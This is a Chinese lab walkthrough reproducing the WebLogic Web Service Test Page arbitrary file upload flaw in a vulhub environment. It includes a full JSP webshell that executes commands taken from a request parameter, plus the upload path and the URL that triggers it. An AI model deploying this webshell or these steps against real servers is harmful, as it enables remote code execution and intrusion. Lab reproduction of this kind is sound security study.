漏洞介绍
漏洞描述
Weblogic管理端未授权的两个页面存在任意上传jsp文件漏洞,但Web Service Test Page在“生产模式”下默认是不开启的,比较鸡肋
影响版本
10.3.6.0, 12.1.3.0, 12.2.1.2, 12.2.1.3
演示版本 12.2.1.3.0
漏洞环境
环境:vulhub(ip:192.168.188.130)
1.开启该环境
命令:docker-compose up -d
2.环境启动后。访问http://192.168.188.130/console,可看到后台登录界面
3.查看管理员密码,管理员用户名为weblogic
命令:docker-compose logs | grep password
4.输入账号密码进入管理界面,点击base_domain–>高级–>启用web服务测试页
漏洞复现
1.访问http://192.168.188.130:7001/ws_utc/config.do,将Work Home Dir替换成
/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css,然后点击提交
2.点击安全–>添加,然后名字和密码随便写,点击浏览,将自己的webshell上传上去
这里用shell.jsp,代码如下:
<%
if("023".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>
3.开启burp,寻找时间戳
这里的时间戳要选择右面的,左面的是上传的时间戳,右面是上传后的时间戳,因此,上传后的时间戳才是真正要的时间戳。
4.然后访问
http://192.168.188.130:7001/ws_utc/css/config/keystore/1616508155110_shell.jsp?pwd=023&i=ls
可看到成功上传webshell,这里127.0.0.1:90是因为我做了端口映射
注意:
1.为什么要替换Work Home Dir?
因为我们需要一个可以访问的路径,当前的工作目录是不能被外网访问到的,开始页面提示自动部署应用后跳转到后台管理页面,这个我们修改的Work Home Dir就是部署的web应用的目录,该目录外网可以访问到,并且不需要权限,外网访问它里面的文件就是http://your-ip:7001/ws_utc/css/文件名
2.为什么访问路径要这么写?
因为前面设置了工作目录为ws_utc应用的静态文件css目录,该目录是无需权限的,后面的路径是调试java代码出的路径
参考链接:https://blog.csdn.net/weixin_41652128/article/details/102676891